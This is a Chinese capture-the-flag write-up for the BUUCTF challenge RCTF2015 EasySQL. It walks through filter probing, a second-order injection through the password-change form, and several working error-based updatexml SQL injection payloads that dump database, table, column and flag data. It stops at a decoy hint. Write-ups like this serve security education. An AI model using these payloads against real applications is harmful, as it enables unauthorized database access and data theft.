Buuctf——[RCTF2015]EasySQL
一、解题步骤
1.看到注册登录,闲着没事先注册个号试试
1’
123
![在这里插入图片描述](https://img-blog.csdnimg.cn/cdf0b50b7a034e3a9b636cafe75db229.png)
2.进去看了,除了受到文化熏陶,别的好像没有啥,点一下试试其有什么功能,一不小心就看到了修改密码
![在这里插入图片描述](https://img-blog.csdnimg.cn/69947b40daa94499bf3dd448b399fa4f.png)
3.惊奇的发现,密码可以被任意修改
![在这里插入图片描述](https://img-blog.csdnimg.cn/80838acdb72240b1b6fb9db95b9a6e8c.png)
4.似乎和我们做题没多大的关系,我试了一下账户1'#
,也没啥反映,使用Burpsuit
试试过滤了哪些字符。通过测试发现,过滤了and、%20、mid、left、right、like、and、ascii、@、空格
等字符
![在这里插入图片描述](https://img-blog.csdnimg.cn/abf35b87eba0454fb18ccc8686ff635b.png)
5.我们发现'、"、\、or、union、select、updatexml、group_concat、database、table、=、()
等字符没被过滤
![在这里插入图片描述](https://img-blog.csdnimg.cn/e9bb7ac46f654701b34ede7c373ee7e1.png)
6.既然反斜杠(\
)没被过滤,那么就注册个反斜杠的号吧(1'\
),在修改密码的时候,我们可以看到有明显的错误回显
![在这里插入图片描述](https://img-blog.csdnimg.cn/dae891007fc04a868672009a8744cfea.png)
报错语句为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1’" and pwd=‘202cb962ac59075b964b07152d234b70’’ at line 1
由此,我们可以推测出,数据库的查询语句为
select * from 表名 where id="%s" and pwd="密码"
7.中间有多次的报错,填了很多的坑,因此,这里我就不再赘述,直接讲述正确的思路——使用报错注入。
爆库——获取数据库信息
1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
将我们注入的值,已表单的形式提交给服务器,相当于注册了一个账号
![在这里插入图片描述](https://img-blog.csdnimg.cn/e2e2c59359164c5d997132ffdbf40776.png)
在修改密码的时候,回显报错,获取库名web_sqli
![在这里插入图片描述](https://img-blog.csdnimg.cn/dda36cf8c2dd4cff86204fd1c5438358.png)
9.获取表名,得到表名为——article,flag,users
1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#
![在这里插入图片描述](https://img-blog.csdnimg.cn/9507f184377d4aefbc7fa6d3f2b27aaf.png)
10.获取表flag
的字段名,字段名为~title,content,flag,name,pwd,ema
1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')||(table_name='flag')),0x7e),1)#
![在这里插入图片描述](https://img-blog.csdnimg.cn/e15998e12e9340b4a4adefe52983cd20.png)
11.获取flag
的内容
1"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#
![在这里插入图片描述](https://img-blog.csdnimg.cn/d7a4535ff357464896a46a755b53d8c1.png)
12.得到的是个提示——~RCTF{Good job! But flag not her
,人差点嘛了
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)